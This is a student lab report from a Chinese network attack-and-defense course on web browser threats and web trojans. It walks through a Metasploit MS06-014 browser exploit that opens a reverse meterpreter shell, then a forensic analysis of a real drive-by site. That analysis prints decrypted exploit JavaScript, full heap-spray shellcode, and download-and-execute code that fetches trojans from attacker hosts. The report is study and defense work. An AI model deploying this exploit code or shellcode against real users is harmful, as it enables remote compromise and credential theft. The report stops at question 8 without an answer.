20212906 2021-2022-2 《网络攻防实践》第十一次作业

1.实践内容

1.1 Web浏览器的技术发展与安全威胁

1.1.1现代Web浏览器的基本结构与机理

现代Web浏览器指的是符合“现代标准”，并被互联网用户所接受使用的Web浏览器软件，目前的现代Web浏览器要求能够理解并支持HTML和XHTML、CSS、ECMAScript及W3C DOM等一系列标准，其基本结构与各种功能特性的复杂性也已经大大增加。需要支持各种应用层协议的Stream流接收与解析，并维护DOM对象模型结构，通过支持EMCAScript标准构建JavaScript、Flash ActionScript等客户端脚本语言的执行环境，以及支持CSS标准控制页面布局，最终在浏览器终端中将服务器端的各种流媒体对象、应用程序、客户端脚本执行效果进行渲染，展现给终端用户。

现代Web浏览器软件除了在内核引擎中实现符合各种标准的基本功能和特性之外,普遍地采用各种扩展机制允许第三方开发一些插件,以提升浏览器软件功能的丰富性。下表显示了目前全球五个最主要的现代Web浏览器软件所采用的内核引繁与可扩展性机制情况,微软IE浏览器基于 Trident内核引擎(也被称为 MSHTML),在第一次浏览器战争过程中的1996年即采用了 Activex技术来支持第三方开发扩展插件,并沿用至今。Mozilla Firefox的内核引繁为 Gecko,通过XUL平台支持扩展插件开发。 Google Chrome和苹果的Safari都基于开源的 Webkit内核引擎, Opera基于的内核引擎为 Presto,这三款浏览器软件均于2010年才开始支持第三方扩展插件,Google Chrome可通过Xmlhttprequest和JSON机制来实现第三方扩展,而 Safari与 Opera则采用了标准化的 HTML5、CSS3与 Javascript支持第三方实现扩展插件。

1.1.2 Web浏览的安全问题与威胁

Web浏览器软件的安全困境三要素：复杂性、可扩展性、连通性；

Web浏览安全威胁位置：

针对传输网络的网络协议安全威胁:网络是连接Web应用服务端与客户端浏览环境的媒介,因此对于Web浏览端而言,与Web服务器端同样面临着网络传输协议安全攻击与威胁。
针对Web浏览端系统平台的安全威胁:互联网用户在浏览网页过程中所使用的浏览器软件、插件及相关应用程序都运行在桌面操作系统之上,桌面操作系统所存在的安全漏洞使得Web浏览环境存在着被攻击的风险。
针对Web浏览器软件及插件程序的滲透攻击威胁:随着防火墙、网络入侵防御系统等安全设备在网络边界上的部署,传统的针对服务器端的渗透攻击变得愈加困难,在这背景下,针对Web浏览器软件及插件程序的客户端渗透攻击在近几年来逐渐变得流行。
针对互联网用户的社会工程学攻击威胁：恶意攻击会利用进行Web浏览的互联网用户本身所存在的人性、心理等方面的弱点，实施社会工程学攻击。

1.2 Web浏览端的渗透攻击威胁---网页木马

1.2.1 产生背景

自从Web浏览器在20世纪90年代中期引入了JavaApplet、JavaScript、VBScript等客户端执行脚本语言之后,黑客们开始利用这种可以在客户端执行脚本代码的机会,通过编写一些恶意的网页脚本,来对Web浏览器及客户端计算机实施攻击,如早期的浏览器主页劫持、网页炸弹等。

1.2.2 攻击流程

1.2.3 机制分析

定义特性

通过对网页木马起源背景和存在技术基础的分析,我们可以认知到网页木马从本质特性上是利用了现代Web浏览器软件中所支持的客户端脚本执行能力,针对Web浏览端软件安全漏洞实施客户端渗透攻击,从而取得在客户端主机的远程代码执行权限来植入恶意程序。因此从根本上分析,网页木马是针对Web浏览端软件实施的客户端滲透攻击代码,是对在针对服务器端软件的传统滲透攻击代码基础上的一种演进,针对服务器端软件的滲透攻击形式从网络攻击出现以来一直是主流。

对网页木马机理的全方位分析与理解

由于网页木马采用的是客户端渗透攻击的形式,就不可避免地需要Web浏览端软某访问构造的恶意Web页面内容,才可能触发滲透攻击过程。因此,与传统服务器端滲透攻击可以主动地进行网络扫描与攻击不同,网页木马的攻击是被动式的,需要通过一些技术方法来诱使互联网用户来访问网页木马页面此外在网页木马通过渗透攻击获得客户端计算机的远程代码执行权限之后,为了进行进一步的主机控制和敏感信息窃取,一般需要植入一些盗号木马等类型的恶意程序。因此实施网页木马攻击不像传统服务器端滲透攻击那么简单,往往涉及较为复杂的多步骤攻击场景,并需要多种类型的恶意代码及网络资源。
①网页挂马机制：

内嵌HTML标签：第一类策略使用内嵌HTML标签，如iframe、frame等，将网页木马链接嵌入到网站首页或其他页面中；
恶意Script脚本：利用script脚本标签通过外部引用脚本的方式来包含网页木马；
内嵌对象链接：第三类网页挂马策略利用图片、Flash等内嵌对象中的特定方法来完成指定页面的加载，这种挂马技术能够产生出一些包含网页木马链接的图片或Flash文件，通过向一些允许用户上传图片和Flash文件的网站进行上传，从而造成这些网站特定页面被挂马危害的后果。
ARP欺骗挂马：arp漆面挂马不需要真正地攻陷目标网站，在同一以太网网段内，攻击者通过ARP欺骗方法就可以进行中间人攻击，劫持所有目标网站出入的网络流量，并可在目标网站的HTML反馈包中注入任意的恶意脚本，从而使其成为将网络访问流量链接至网页木马的挂马站点。
②混淆机制：
将代码重新排版，去除缩进、空行、换行、注释等；
通过大小写变换、十六进制编码、escape编码、unicode编码等方法对网页木马进行编码混淆；
通过通用或定制的加密工具对网页木马进行加密得到密文，然后使用脚本语言中包含的解密函数进行解密，再使用document.Write()或eval()进行动态输出或执行；
利用字符串运算、数学运算或特殊函数混淆代码；
修改网页木马文件掩码欺骗反病毒软件，或对网页木马文件结构进行混淆，来伪装正常文件。

1.2.4 检测和分析技术

基于特征码匹配的传统检测方法
基于统计与机器学习的静态分析方法
基于动态行为结果判定的检测分析方法
基于模拟浏览器环境的动态分析检测方法
网页木马检测分析技术综合对比

2.实践过程

2.1Web浏览器渗透攻击实验

任务：使用攻击机和windows靶机进行浏览器的渗透攻击实验，体验网页木马构造以及实施浏览器攻击的实际过程。

使用 Metasploit 的 MS06-014 渗透攻击模块（ ie_createobject ）；
选择payload为任意远程连接，设置参数，得到恶意url地址；
设置服务器地址（SVRHOST或LHOST）和URL参数。运行exploit，构造出恶意网页木马脚本；
在靶机环境中启动浏览器，验证与服务器的连通性，并访问唯一网页木马脚本URL；
在攻击机 Metasploit 软件中查看渗透攻击状态，并通过成功渗透攻击后建立起的远程控制会话SESSION，在靶机上远程执行命令。
实验环境：

攻击机kali：192.168.6.2
靶机Win2kServer：192.168.6.8
实验步骤：

在kali中输入 msfconsole ，打开Metasploit；
使用命令 search MS06-014 搜索 MS06-014 渗透攻击模块，发现只有一个可用的攻击模块；
输入 use exploit/windows/browser/ie_createobject ，使用该模块进行攻击：

使用命令 set LHOST 192.168.6.2 设置攻击机地址；
使用命令 set payload windows/meterpreter/reverse_tcp 设定使用的载荷；
使用命令 exploit 进行攻击：

攻击后会得到有木马的网址为 http://192.168.6.2:8080/YAqoKke，然后在靶机中访问地址，返回一段英文字符：

此时攻击机中显示靶机到攻击机的session被建立，攻击成功;
输入 sessions 查看当前连接，使用命令 sessions 1 选择会话1，返回 meterpreter ；
使用 getuid 查看当前权限为 administrator ；
输入命令 ifconfig 查看靶机地址为 192.168.200.124 ：

2.2 取证分析实践：剖析一个实际的网页木马攻击场景

任务：一个研究组发现了一个域名为 18dd.net 的挂马网站。在链接分析的过程中，发现有大量恶意网页最终都重定向到了这个网站上。这个站点的恶意代码入口是 http://aa.18dd.net/ww/new09.htm 文件，现在要根据给出的说明逐步分析，得到最终的木马文件的内容。

说明：这个挂马网站现在已经无法访问了，但蜜网课题组的成员保留了最初做分析时所有的原始文件。首先你应该访问 start.html，在这个文件中给出了 new09.htm 的地址，在进入 new09.htm
后，每解密出一个文件地址，请对其作 32 位 MD5 散列，以散列值为文件名到 http://192.168.68.253/scom/hashed/ 目录下去下载对应的文件(注意：文件名中的英文字母
为小写，且没有扩展名)，即为解密出的地址对应的文件。如果解密出的地址给出的是网页或
脚本文件，请继续解密；如果解密出的地址是二进制程序文件，请进行静态反汇编或动态调试。
重复以上过程直到这些文件被全部分析完成。请注意：被散列的文件地址应该是标准的 URL
形式，形如 http://xx.18dd.net/a/b.htm ，否则会导致散列值计算不正确而无法继续。

问题：

试述你是如何一步步地从所给的网页中获取最后的真实代码的？
网页和 JavaScript 代码中都使用了什么样的加密方法？你是如何解密的？
从解密后的结果来看，攻击者利用了那些系统漏洞？
解密后发现了多少个可执行文件？其作用是什么？
这些可执行文件中有下载器么？如果有，它们下载了哪些程序？这些程序又是什么作用的？
分析过程：

指导书上给出的链接 http://192.168.68.253/scom/start.html 无法访问，下面根据材料提供的一些文件来进行分析。

首先访问说明中给出的 start.html 文件，但考虑到这个文件中包含了 new09.htm
是恶意网站的入口，不直接在浏览器中打开它，而把它下载下来。下载以后用记事本打开，
搜索“new09.htm”可以找到两处：

从这两处可以看出 start.html 文件在引用 new09.htm 文件时没有写绝对路径，所以可以知道
new09.htm 文件与 start.html 文件在同一目录下。同样，下载下来并用记事本打开。在 new09.htm 文件中，用 iframe 引用了一个 http://aa.18dd.net/aa/kl.htm 文件，用 javascript 引用了一个 http://js.users.51.la/1299644.js 文件。

对它们分别作 MD5 散列：

按照说明，下载这两个文件：
http://192.168.68.253/scom/hashed/7f60672dcd6b5e90b6772545ee219bd3

http://192.168.68.253/scom/hashed/23180a42a2ff1192150231b44ffdf3d3

在hashed文件中找到对应的文件，用记事本打开。 23180a42a2ff1192150231b44ffdf3d3 中的内容如下，提示不是我们要找的内容。

打开另一个文件 7f60672dcd6b5e90b6772545ee219bd3 ，看起来很复杂，但实际上这是一种被称为 XXTEA+Base64 的加密方法，对付这种加密方法，我们只要找到它的加密密钥就可以。注意上面的倒数第三行，即：

xxtea_decrypt 函数的第二个参数 \x73\x63\x72\x69\x70\x74 就是密钥。

这里简单地使用了 16 进制加密。转换一下，密钥是“script”。

访问https://cycy.sourceforge.io/xxtea/输入秘钥密钥 script ，在下面大的文本框中粘贴那个文件的全部内容，点“解密”，得到了十六进制加密。在对对引号中的内容进行解密，得到如下结果，将结果保存：

function init(){document.write();}
window.onload = init;
if(document.cookie.indexOf('OK')==-1){
try{var e;
var ado=(document.createElement("object"));
ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
var as=ado.createobject("Adodb.Stream","")}
catch(e){};
finally{
var expires=new Date();
expires.setTime(expires.getTime()+24*60*60*1000);
document.cookie='ce=windowsxp;path=/;expires='+expires.toGMTString();
if(e!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/1.js><\/script>")}
else{
try{var f;var storm=new ActiveXObject("MPS.StormPlayer");}
catch(f){};
finally{if(f!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/b.js><\/script>")}}
try{var g;var pps=new ActiveXObject("POWERPLAYER.PowerPlayerCtrl.1");}
catch(g){};
finally{if(g!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/pps.js><\/script>")}}
try{var h;var obj=new ActiveXObject("BaiduBar.Tool");}
catch(h){};
finally{if(h!="[object Error]"){
obj.DloadDS("http://down.18dd.net/bb/bd.cab", "bd.exe", 0)}}
}}}

由上可以看到利用到的应用程序漏洞有： Adodb.Stream——微软数据库访问对象漏洞； MPS.StormPlayer——暴风影音漏洞； POWERPLAYER.PowerPlayerCtrl.1——PPStream漏洞； BaiduBar.Tool——百度搜霸漏洞；这些都是现在网络用户使用非常频繁的软件，其危害性可见一斑。
除此之外还可以看到这个文件还引用了三个js文件和一个压缩包(bd.cab，解开后是bd.exe)，对他们作MD5散列：

MD5(http://aa.18dd.net/aa/1.js,32) = 5d7e9058a857aa2abee820d5473c5fa4
MD5(http://aa.18dd.net/aa/b.js,32) = 3870c28cc279d457746b3796a262f166
MD5(http://aa.18dd.net/aa/pps.js,32) = 5f0b8bf0385314dbe0e5ec95e6abedc2
MD5(http://down.18dd.net/bb/bd.cab,32) = 1c1d7b3539a617517c49eee4120783b2

在hashed文件夹中找到这四个文件：
首先看 1.js ，即 5d7e9058a857aa2abee820d5473c5fa4 ：

又是一个十六进制加密，解开得：

这个文件前面部分下载了一个 http://down.18dd.net/bb/014.exe 的可执行文件，后面部分是对 ADODB 漏洞的继续利用。
看 b.js ，即 3870c28cc279d457746b3796a262f166 ：

开始函数中的六个参数 p，a，c，k，e，d 提示使用packed加密方法，解密后的代码如下所示：

var bigblock = unescape("%u9090%u9090");
var headersize = 20;
var shellcode = unescape("%uf3e9%u0000" + "%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c" + "%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" + "%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" + "%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%ufcef" + "%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" + "%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" + "%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" + "%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" + "%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" + "%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" + "%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" + "%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" + "%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" + "%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" + "%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" + "%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" + "%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" + "%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" + "%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" + "%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" + "%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" + "%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u6662%u652e%u6578%u0000");
var slackspace = headersize + shellcode.length;
while (bigblock.length < slackspace) bigblock += bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length - slackspace);
while (block.length + slackspace < 0x40000) block = block + block + fillblock;
memory = new Array();
for (x = 0; x < 300; x++) memory[x] = block + shellcode;
var buffer = '';
while (buffer.length < 4068) buffer += "\x0a\x0a\x0a\x0a";
storm.rawParse(buffer)

这里出现了关键字 shellcode ，是二进制的机器码，这个 shellcode 并不长，但它要实现很多破坏，不可能把所有的病毒都写在里面。因此它很可能就是下载器。对于一个下载器来说，必不可少的一项内容就是要下载的内容的 URL，我们可以找一找这加密的代码里有 URL 特征的字符串。
URL中必然出现斜线 /， / 的十六进制ASCII码是2f，在shellcode中找 / ，画圈圈的地方共有六处，后四处比较可疑，因为两个2f比较密集。于是取从第三个2f开始到末尾的内容，解密结果是：http://down.18dd.net/bb/bf.exe

接着看 pps.js ，即 5f0b8bf0385314dbe0e5ec95e6abedc2 ：

这次变成了八进制转换，解密，结果如下：

/*%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" +
"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +
"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +
"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +
"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +
"%u206a%uff53%uec57%u*/
pps=(document.createElement("object"));
pps.setAttribute("classid","clsid:5EC7C511-CD0F-42E6-830C-1BD9882F3458")
var shellcode = unescape("%uf3e9%u0000"+
"%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c" +
"%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" +
"%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" +
"%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%u04c7" +
"%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" +
"%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" +
"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +
"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +
"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +
"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +
"%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" +
"%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" +
"%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" +
"%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" +
"%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" +
"%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" +
"%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" +
"%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" +
"%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" +
"%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" +
"%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u7070%u2e73%u7865%u0065");
var bigblock = unescape("%u9090%u9090");
var headersize = 20;
var slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (x=0; x<400; x++) memory[x] = block + shellcode;
var buffer = '';
while (buffer.length < 500) buffer+="\x0a\x0a\x0a\x0a";
pps.Logo = buffer

同样有shellcode，用相同的方法得到 http://down.18dd.net/bb/pps.exe
最后一个压缩文件将其解压缩，可以得到 bd.exe 执行文件，计算将前三个可执行文件的 URL 的 MD5 值：

MD5(http://down.18dd.net/bb/014.exe,32) = ca4e4a1730b0f69a9b94393d9443b979
MD5(http://down.18dd.net/bb/bf.exe,32) = 268cbd59fbed235f6cf6b41b92b03f8e
MD5(http://down.18dd.net/bb/pps.exe,32) = ff59b3b8961f502289c1b4df8c37e2a4

目前得到了四个exe文件，即014.exe，bf.exe，pps.exe，bd.exe。可以发现这四个文件在资源管理器中大小相同。

校验这四个文件的 MD5 值，会发现都是相同的 1290ecd734d68d52318ea9016dc6fe63 :

所以这四个文件内容完全相同！任务量减少到四分之一，只要分析其中一个就可以了。
使用脱壳软件查看可执行文件的加壳情况，发现是用 Delphi 写的：

用 IDA 反汇编这个 exe 文件：

查看字符串：

由字符串" goto try"，":try"，"Alletdel.bat"，"cmd /c date "，"cmd /c date 1981-01-12"，"del ""，"del %0"，"if exist"，猜测这个程序可能生成一个叫"Alletdel.bat"的批处理文件，这个文件中有一个标签叫"try"，批处理文件会不断的执行这个标签下一行的命令，命令内容可能是判断文件存在性，更改系统日期，删除某些文件；
由":\AutoRun.inf"，"[AutoRun] open="，"AutoRun.inf"，"shell\Auto\command="，猜测这个程序可能在磁盘根目录下生成自动运行的文件，以使得用户在不小心时启动程序；

由"advapi32.dll"，"drivers/klif.sys"，"\program files\internet explorer\IEXPLORE.EXE"，"IE执行保护"，"IEXPLORE.EXE"，"Software\Microsoft\Windows\CurrentVersion\Poli"，"Kernel32.dll"，"SOFTWARE\Borland\Delphi\RTL"，"ChangeServiceConfig2A"，"ChangeServiceConfig2W"，"QueryServiceConfig2A"，"QueryServiceConfig2W"等可以猜测程序可能会修改IE、注册表、服务和系统文件；
由"瑞星卡卡上网安全助手 - IE防漏墙"，"允许"，"允许执行"，可知这个程序有一定的防系统保护软件的能力；
由20个形如"http://down.18dd.net/kl/**.exe"的字符串猜测程序要下载一大堆木马

问题回答：

①试述你是如何一步步地从所给的网页中获取最后的真实代码的？

从挂马网站222.29.87.30/scom的 Start.html 中发现其与 new09.htm 在同一个文件夹下，进而发现 aa/1.js ，aa/b.js ，aa/pps.js 等文件，通过解密发现其中的shellcode，具体分析见上。

②网页和 JavaScript 代码中都使用了什么样的加密方法？你是如何解密的？

主体	加密方法
aa/kl.htm	十六进制加密，XXTEA+Base64加密
1.js	十六进制加密
b.js	老外写的js加解密工具
pps.js	八进制加密

③从解密后的结果来看，攻击者利用了那些系统漏洞？

网马	漏洞
MS06-014网马	攻击MS06-014安全漏洞；MDAC RDS.Dataspace ActiveX控件远程代码执行漏洞
暴风影音网马	攻击CVE-2007-4816安全漏洞；暴风影音2 mps.dll组件多个缓冲区溢出漏洞
PPStream网马	攻击CVE-2007-4748安全漏洞；PPStream 堆栈溢出
百度搜霸网马	攻击CVE-2007-4105安全漏洞；百度搜霸ActiveX控件远程代码执行漏洞

④解密后发现了多少个可执行文件？其作用是什么？这些可执行文件中有下载器么？如果有，它们下载了哪些程序？这些程序又是什么作用的？

解密后发现了4个可执行文件，这四个可执行文件内容相同，都是下载器，下载了20个程序。这些程序的作用是盗取用户的账号。

2.3 web浏览器渗透攻击攻防对抗

任务：攻击方使用 Metasploit 构造出攻击至少两个不同Web浏览端软件安全漏洞的渗透攻击代码，并进行混淆处理后组装成一个URL链接，通过具有欺骗性的电子邮件发送给防守方。防守方对电子邮件中的挂马链接进行提取、解混淆分析，尝试恢复出渗透攻击代码的原始形态，并分析出这些渗透代码都是攻击哪些Web浏览端软件的哪些安全漏洞。撰写详细实验分析报告,对攻防对抗过程进行总结。

实践过程：

由于不会混淆，所以该实践仅分析上上个实践中利用MS06-014漏洞进行分析的渗透代码。
在kali的wireshark捕获实践一中ms06-014漏洞攻击

返回攻击机的wireshark，观察从靶机发送给攻击机的信息

前面实践中已经得到了恶意url，右键查看源文件获取攻击页面的源代码，下载查看。

发现对关键指令做了字符串拼接处理和使用了大量的空白和间隔，猜测是为了防止被杀毒软件查杀。
将其中无效回车符和空格去除：

<html>
  
  <head>
    <title></title>
    <script language="javascript">function HuVtDZksueTZGkmdHl(o, n) {
        var r = null;
        try {
          eval("r=o.CreateObject(n)")
        } catch(e) {}
        if (!r) {
          try {
            eval("r=o.CreateObject(n,'')")
          } catch(e) {}
        }
        if (!r) {
          try {
            eval("r=o.CreateObject(n,'','')")
          } catch(e) {}
        }
        if (!r) {
          try {
            eval("r=o.GetObject('',n)")
          } catch(e) {}
        }
        if (!r) {
          try {
            eval("r=o.GetObject(n,'')")
          } catch(e) {}
        }
        if (!r) {
          try {
            eval("r=o.GetObject(n)")
          } catch(e) {}
        }
        return (r)
      }
      function gXOolkNcRRx(a) {
        var s = HuVtDZksueTZGkmdHl(a, "WScript.Shell");
        var o = HuVtDZksueTZGkmdHl(a, "ADODB.Stream");
        var e = s.Environment("Process");
        var url = document.location + '/payload';
        var xml = null;
        var bin = e.Item("TEMP") + "\\KUVkctKFjqmITCtNXKMNgVU.exe";
        var dat;
        try {
          xml = new XMLHttpRequest()
        } catch(e) {
          try {
            xml = new ActiveXObject("Microsoft.XMLHTTP")
          } catch(e) {
            xml = new ActiveXObject("MSXML2.ServerXMLHTTP")
          }
        }
        if (!xml) {
          return (0)
        }
        xml.open("GET", url, false);
        xml.send(null);
        dat = xml.responseBody;
        o.Type = 1;
        o.Mode = 3;
        o.Open();
        o.Write(dat);
        o.SaveToFile(bin, 2);
        s.Run(bin, 0)
      }
      function mpGIYSoIelaqiCzcvEXVNhOc() {
        var i = 0;
        var t = new Array('{BD96C556-65A3-11D0-983A-00C04FC29E36}', '{BD96C556-65A3-11D0-983A-00C04FC29E30}', '{7F5B7F63-F06F-4331-8A26-339E03C0AE3D}', '{6e32070a-766d-4ee6-879c-dc1fa91d2fc3}', '{6414512B-B978-451D-A0D8-FCFDF33E833C}', '{06723E09-F4C2-43c8-8358-09FCD1DB0766}', '{639F725F-1B2D-4831-A9FD-874847682010}', '{BA018599-1DB3-44f9-83B4-461454C84BF8}', '{D0C07D56-7C69-43F1-B4A0-25F5A11FAB19}', '{E8CCCDDF-CA28-496b-B050-6C07C962476B}', '{AB9BCEDD-EC7E-47E1-9322-D4A210617116}', '{0006F033-0000-0000-C000-000000000046}', '{0006F03A-0000-0000-C000-000000000046}', null);
        while (t[i]) {
          var a = null;
          if (t[i].substring(0, 1) == '{') {
            a = document.createElement("object");
            a.setAttribute("classid", "clsid:" + t[i].substring(1, t[i].length - 1))
          } else {
            try {
              a = new ActiveXObject(t[i])
            } catch(e) {}
          }
          if (a) {
            try {
              var b = HuVtDZksueTZGkmdHl(a, "WScript.Shell");
              if (b) {
                gXOolkNcRRx(a);
                return (0)
              }
            } catch(e) {}
          }
          i++
        }
      }</script>
  </head>
  
  <body onload='mpGIYSoIelaqiCzcvEXVNhOc()'>BCKrXmmzzJTakfuVkFFoMAb</body></html>

js调用了document.location加载了 payload ，并且下一行中后面跟了一个可执行文件 KUVkctKFjqmITCtNXKMNgVU.exe ，这个可执行文件应该是以攻击机为服务器，通过网页下载到靶机上的，而且为了躲避杀毒软件，每次加载恶意网页生成的可执行文件的名字是不一样的。

打开靶机任务管理器查看正在运行的程序进行验证。发现了在网页源码中出现的可执行文件（应该是名字太长没有显示完全），其作用就是帮助攻击机获取靶机控制权限。

BD96C556-65A3-11D0-983A-00C04FC29E36 是漏洞MS06-014中的clsid变量，搜索 BD96C556，容易知道攻击者使用的漏洞是MS06-014。。

2.4 Web浏览器遭遇攻击

任务：通过分析给出的网络记录pcap文件，回答以下问题：

①列出在捕获文件中的应用层协议类型，你认为攻击是针对哪个或哪些协议的？

首先安装 chaosreader ：

wget https://github.com/brendangregg/Chaosreader/archive/master.zip
mv master.zip chaosreader.zip
unzip chaosreader.zip
sudo apt install chaosreader

使用命令 chaosreader -r suspicious-time.pcap 打开 suspicious-time.pcap 文件：

可以看到攻击集中在HTTP协议上.

②列出捕获文件中的IP地址、主机名和域名。从这些信息中你能猜到攻击场景的环境配置情况吗？

使用命令：【注意这块最后是 -u ，指导书上有一点错误】

for i in session_00[0-9]*.http.html; do srcip=`cat "$i" | grep 'http:\ ' | awk '{print $2}' | cut -d ':' -f1`; dstip=`cat
"$i" | grep 'http:\ ' | awk '{print $4}' | cut -d ':' -f1`; host=`cat "$i" | grep 'Host:\ ' | sort -u | sed -e 's/Host:\ //g'`; echo
"$srcip --> $dstip = $host"; done | sort -u

从结果可以看出：rapidshare.com.eyu32.ru 对应192.168.56.50； sploitme.com.cn 对应192.168.56.52； shop.honeynet.sg 对应192.168.56.51；
使用命令 tshark -r suspicious-time.pcap | grep 'NB.20>' | sed -e 's/<[^>]>//g' | awk '{print $3,$4,$10}' | sort -u 筛选出NBNS协议，NBNS协议的作用是基于NetBIOS名称访问的网络上提供主机名和地址映射方法，即提供主机名称。

可以发现这四个不同 ip 地址的主机分别映射的主机名是相同的
使用命令 tshark -r suspicious-time.pcap | grep 'NB.1e>' | sed -e 's/<[^>]>//g' | awk '{print $3,$4,$9}' | sort -u

发现四个 ip 地址的主机在同一个工作组。
再用wireshark打开 suspicious-time.pcap ，通过arp筛选发现，四个ip地址所对应的mac地址相同，推测这四台主机相同的或者克隆的，又因为具有四个网卡，所以猜测攻击场景的环境是VM中。

服务：10.0.2.2, 10.0.3.2, 10.0.4.2, 10.0.5.2 (DHCP 服务和网关)，192.168.1.1 (DNS 服务)。
受害者：10.0.2.15, 10.0.3.15, 10.0.4.15, 10.0.5.15 。
模拟被侵入主机： 192.168.56.50 ( “rapidshare.com.eyu32.ru”)、192.168.56.51 (“shop.honeynet.sg”)。
攻击者： 192.168.56.52( “sploitme.com.cn”)。

③列出捕获文件中的所有网页页面，其中哪些页面包含了可疑的、可能是恶意的JavaScript脚本代码？谁在连接这些页面？请描述恶意网页的攻击目的？

使用浏览器打开 session_0006.part_01.html 发现了如下界面，这应该是一个钓鱼网站，对应的就是 rapidshare.com.eyu32.ru/login.php 。

找 sploitme.com.cn ，发现 404 NotFound 了，这个对应文件 session_0007.part_02.html。

找 shop.honeynet.sg/catalog/ ，对应文件 session_0032.part_01.html 。

④请给出攻击者执行攻击动作的概要描述。

攻击者将恶意javascript代码注入指向 sploitme.com.cn/?click=X 的隐藏iframe。
当访问者查看这些页面时，它们首先被重定向到 sploitme.com.cn/fg/show.php?s=X ，该页面通过 302 FOUND 标头重定向到伪造的404页面（数据包63、174、366）。
然后在该页面中，检查用户代理字符串，着陆点和其他参数，并（show.php）发出另一个javascript代码，该代码尝试各种攻击以在受害者的计算机中执行代码。如果任何漏洞利用成功，则客户端的计算机将下载并执行位于 sploitme.com.cn/fg/load.php?e=X 的文件，恶意软件访问 www.honeynet.org 。

⑤攻击者引入了哪些技巧给你的分析带来了困难，请提供在之前问题中识别的恶意JavaScript脚本内容，并对它们进行解码或解密。

将恶意页面伪装成404页面：

发送给受害者的漏洞利用程序取决于受害者使用的浏览器，这使得确定漏洞利用者变得更加困难。
该漏洞利用程序不允许同一客户端访问两次。

⑥攻击者的目标是哪个操作系统，哪些应用软件，哪些安全漏洞？如何阻止这些攻击？

追踪TCP 5号流，可以查看到主要攻击目标是IE浏览器漏洞和含有ActiveX组件漏洞的。

可以通过修补操作系统和应用程序，进行定期更新以及使用“ActiveX杀手”或使用其他Web浏览器来防止攻击。

⑦Shellcode执行了哪些动作？请列出Shellcode的MD5，并比较他们之间的差异？

Shellcode获取系统临时文件路径，加载 urlmon.dll ，从 URL http://sploitme.com.cn/fg/load.php?e=1 检索可执行文件，然后执行它。 Shellcode 之间的唯一区别是对 load.php 脚本的请求中的e变量，该变量指定发送恶意软件可执行文件。

⑧在攻击场景中有二进制可执行恶意代码参与么？它们的目的是什么？

